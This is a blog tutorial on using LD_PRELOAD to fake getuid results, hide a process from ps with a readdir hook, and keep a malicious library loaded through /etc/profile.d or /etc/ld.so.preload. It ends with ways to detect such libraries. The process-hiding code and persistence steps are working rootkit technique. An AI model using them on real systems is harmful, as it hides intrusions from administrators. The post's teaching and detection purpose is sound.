DEV Community

Cover image for How To "Gaslight" A Binary
Douxx
Douxx

Posted on

How To "Gaslight" A Binary

Here is a very simple C code:

int main() {
    uid_t uid = getuid();
    struct passwd *pw = getpwuid(uid);
    printf("uid: %d, user: %s\n", uid, pw->pw_name);
    return 0;
}
Enter fullscreen mode Exit fullscreen mode

It simply prints your identity in the current session. Let's run it:

[local@DouLen] ~ › ./whoami
uid: 0, user: root
Enter fullscreen mode Exit fullscreen mode

The program says I'm root, but look at the prompt: I'm logged in as local. There isn't any privilege escalation in the code, and the program isn't run with sudo or similar.

But if so, why is the program telling me that it is running as root? Well, it just got lied to. It genuinely thinks that it is root, and it is because it blindly trusts getuid function from libc, which we've overridden.

See, I lied to you. I didn't "just" run ./whoami. Before this, I ran this:

export LD_PRELOAD=./fake_uid.so
Enter fullscreen mode Exit fullscreen mode

And that's it: a single environment variable just compromised my program. What it actually does, is tell the dynamic linker: "before the program runs, load this library".

You probably already guessed what this library does, but here is its code:

int getuid() { return 0; }
Enter fullscreen mode Exit fullscreen mode

It overrides getuid to always return zero (=root). This is how you gaslight a binary.

And obviously, it's the least dangerous thing that a malicious library could do.

Why This Works

At a high level, this works because of how dynamically linked programs are executed on Linux.

Most binaries don't contain all the code they need. Instead, they rely on shared libraries (like libc), which are loaded at runtime by the dynamic linker (usually ld-linux.so).

When a program calls a function like getuid, it doesn't jump directly to a fixed address. Instead, the dynamic linker resolves that symbol at runtime and decides which implementation to use.

LD_PRELOAD takes advantage of this mechanism by injecting a library before all others. This means:

  • If your library defines a function (e.g., getuid)
  • That definition is used instead of the one in libc

In other words, you're not modifying the program itself, you're changing what its function calls resolve to at runtime.

This technique is often referred to as function interposition.

Another example, commonly used in rootkits, is hiding a process.

Here is evil.c, an extremely evil code:

int main() {
    while (1) {
        printf("Haha I'm so evil >:)\n");
        sleep(5);
    }

    return 0;
}
Enter fullscreen mode Exit fullscreen mode

It just loops and prints forever, nothing special.

And now, let's switch to a sysadmin that wants to search for an evil process:

[admin@DouLen] ~ › ps a | grep evil
   7050 pts/2    S+     0:00 ./evil
Enter fullscreen mode Exit fullscreen mode

And they immediately find it. Now, let's hide it a bit more.

See, processes in Linux are listed in /proc along other information. To list those processes, most programs enumerate /proc by reading directory entries (similar to ls /proc).

So all we have to do is overwrite readdir, trickier than it sounds, because we still need the real readdir to work underneath us.

struct dirent *readdir(DIR *dirp) {
    static struct dirent *(*real_readdir)(DIR *) = NULL;

    real_readdir = dlsym(RTLD_NEXT, "readdir"); // get the *real* readdir, since we need to use it

    struct dirent *entry;
    while ((entry = real_readdir(dirp)) != NULL) { // probe each entry of the real readdir call
        if (is_pid(entry->d_name)) {
            if (matches_target(entry->d_name)) {   // if it is our target process, skip it
                continue; // hide this process
            }
        }

        return entry;
    }

    return NULL;
}
Enter fullscreen mode Exit fullscreen mode

(This part only is the "main" logic, full codes can be found here.)

Now, let's use ps again, with the library attached, this time.

[admin@DouLen] ~ › LD_PRELOAD=./ps_hide.so ps a | grep evil
   7214 pts/0    S+     0:00 grep --color=auto evil
Enter fullscreen mode Exit fullscreen mode

And just like that, even if our evil program is still running, it isn't listed anymore. This is the way most rootkits operate to hide themselves (well, they use way more intensive techniques, but you got it).

Obviously, this is some light work. Actual malware does way more than this. A good example would be this simple library, that purely keylogs everything inputted into stdin:

keylog lib gif

It works the same way: hook fgets from libc, and everything typed into the program flows through your code first.

Variables Are Impractical

Let's be real, ain't no user will voluntarily prepend LD_PRELOAD=./safe_lib.so to all of their commands.

However, there are obviously other ways.

1. Hooking New Shells

/etc/profile.d/ contains scripts that are automatically loaded on terminal init, so an attacker could create a legitimate-looking file, like /etc/profile.d/who.sh with export LD_PRELOAD=/usr/local/lib/systemd-compat.so as a content, and every new shell created from there will preload systemd-compat.so, thus it being the malicious script.

This is a nice way, but not the most reliable one, since it only works for interactive shells.

2. System-Wide Persistence

/etc/ld.so.preload is literally the file meant to do that. Every entry in it is preloaded by the dynamic linker for all dynamically linked binaries.

So the attacker could simply append /usr/local/lib/systemd-compat.so to it, and the whole system would be compromised, even programs not being launched from an interactive shell.

Detecting Malicious Libraries

The Obvious Check

The first thing to do is check both persistence mechanisms directly:

cat /etc/ld.so.preload
ls /etc/profile.d/
Enter fullscreen mode Exit fullscreen mode

Anything unexpected in either of those is a red flag. Look for files with innocent-sounding names like systemd-compat.so, libgcc-utils.so, anything trying to blend in. If you aren't sure about something, the internet is your best friend here.

strace

strace operates at the syscall level, below libc entirely, so LD_PRELOAD can't hide things from it. You can use it to see what a program is actually doing regardless of what any hooked library tells you:

strace -e openat ps
Enter fullscreen mode Exit fullscreen mode

If ps is opening files it shouldn't, or skipping /proc entries, you'll see it here.

Another approach: LD_PRELOAD doesn't disappear once a process starts, it stays visible in /proc/<pid>/environ. So even if a hooked ps hides the process, the preload trail is still sitting in procfs, readable by anything that looks directly at /proc instead of going through libc.

Static Binaries

The best solution is to use a statically compiled binary, which doesn't use the dynamic linker at all, so preloaded libraries are completely ignored. This is why forensic tools are often distributed as static binaries: on a compromised system, they're the only tools you can actually trust.

You can check if a binary is static with:

ldd $(which ps)
# if it says "not a dynamic executable", LD_PRELOAD won't touch it
Enter fullscreen mode Exit fullscreen mode

At the end of the day, nothing here is "breaking" Linux so much as bending trust. The program still believes it is calling libc. The system still believes it is listing processes. It’s only the answers that change. And that’s the uncomfortable part: in userspace, reality can be altered.

a small meme hahaha

Top comments (0)